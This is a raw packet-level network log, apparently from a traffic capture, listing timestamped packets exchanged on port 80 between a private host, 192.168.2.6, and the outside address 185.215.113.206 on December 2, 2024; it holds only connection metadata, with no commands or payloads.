Dec 2, 2024 07:37:58.176733017 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.176769972 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.176868916 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.177680016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.177757025 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.177793026 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.177850962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.178474903 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.178529978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.178563118 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.178644896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.276272058 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.276393890 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.276426077 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.276453972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.276705980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.276758909 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.276767969 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.276829958 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.277595997 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.277611017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.277664900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.277664900 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.278527975 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.278587103 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.278678894 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.278755903 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.279397964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.279450893 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.279467106 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.279491901 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.280381918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.280436993 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.280517101 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.280565977 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.281232119 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.281284094 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.281311989 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.281398058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.282152891 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.282222986 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.282233953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.282310963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.283045053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.283094883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.283118963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.283157110 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.283896923 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.283961058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.283984900 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.284064054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.284816980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.284872055 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.284894943 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.284920931 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.285706043 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.285763979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.285799980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.285850048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.286654949 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.286673069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.286736012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.286736012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.287559032 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.287575960 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.287638903 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.287640095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.288438082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.288450956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.288526058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.288526058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.289304018 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.289377928 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.289397001 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.289479971 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.290175915 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.290254116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.290256977 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.290318012 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.291130066 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.291176081 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.291244984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.291292906 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.292026043 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.292069912 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.292083979 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.292124033 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.292933941 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.293003082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.293004990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.293042898 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.293838024 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.293885946 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.293967009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.294039965 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.294713020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.294775963 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.294812918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.294866085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.295622110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.295679092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.295686007 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.295722961 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.296493053 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.296544075 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.354536057 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.354609966 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.354609966 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.354788065 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.355004072 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.355061054 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.355119944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.355180025 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.355842113 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.355937004 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.356177092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.356215000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.356240034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.356260061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.357115030 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.357166052 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.357228994 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.357278109 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.357999086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.358056068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.358114958 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.358170986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.358939886 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.358989000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.359004974 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.359031916 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.359810114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.359858990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.359899998 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.359956026 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.360769033 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.360821009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.360831976 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.360877991 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.361651897 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.361696959 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.361756086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.361836910 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.362513065 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.362525940 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.362569094 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.362581968 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.363415956 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.363529921 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.363557100 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.363610029 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.364331961 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.364388943 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.364398003 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.364434958 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.365232944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.365328074 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.365359068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.365370989 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.366122007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.366174936 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.366925955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.367048025 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.367100954 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.367127895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.367188931 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.367958069 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.368015051 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.368032932 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.368074894 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.368850946 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.368921995 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.368949890 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.368968964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.369740009 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.369795084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.369828939 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.369889975 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.370660067 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.370724916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.370728016 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.370768070 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.371543884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.371601105 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.371634007 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.371691942 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.372431993 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.372490883 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.372497082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.372538090 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.373313904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.373384953 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.373413086 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.373470068 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.374320984 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.374392986 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.374413967 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.374473095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.375144005 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.375212908 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.375247955 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.375334978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.376045942 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.376108885 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.376111031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.376157045 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.376987934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.377036095 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.377099037 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.377213955 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.377913952 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.377970934 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.377991915 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.378026009 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.378757954 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.378842115 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.378875017 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.378925085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.379636049 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.379698992 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.379749060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.379803896 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.380563974 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.380624056 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.477368116 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.477443933 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.477592945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.477592945 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.477648020 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.477729082 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.477792978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.478611946 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.478689909 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.478696108 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.478741884 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.479444027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.479510069 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.479537964 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.479592085 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.480336905 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.480427027 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.480456114 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.480520964 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.481246948 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.481296062 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.481322050 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.481369972 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.482121944 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.482184887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.482214928 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.482254028 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.483073950 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.483129978 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.483165026 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.483228922 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.483951092 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.483993053 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.484028101 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.484086990 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.484865904 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.484930992 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.484952927 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.485013962 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.485747099 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.485833883 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.485863924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.485930920 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.486660957 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.486716032 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.486740112 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.486788034 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.487555027 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.487611055 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.487730980 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.487776995 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.488455057 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.488508940 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.488575935 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.488626957 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.489371061 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.489466906 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.489474058 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.489615917 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.490262032 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.490331888 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.490392923 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.490447998 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.491228104 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.491293907 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.491302013 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.491337061 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.492100000 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.492120028 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.492175102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.492175102 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.492960930 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.493020058 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.493055105 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.493118048 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.493891001 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.493941069 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.493973970 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.494038105 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.494791985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.494844913 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.494883060 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.494940996 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.495752096 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.495765924 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.495806932 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.496601105 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.496665001 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.496707916 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.496761084 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.497472048 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.497524977 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.497553110 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.497601032 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.556207895 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.556231976 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.556341887 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.556519985 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.556627035 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.556651115 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.556718111 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.557463884 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.557477951 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.557579041 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.558274031 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.558325052 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.558352947 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.558417082 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.559020996 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.559036016 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.559081078 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.559840918 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.559861898 CET	80	49823	185.215.113.206	192.168.2.6
Dec 2, 2024 07:37:58.559916019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.559916019 CET	49823	80	192.168.2.6	185.215.113.206
Dec 2, 2024 07:37:58.560762882 CET	80	49823	185.215.113.206	192.168.2.6
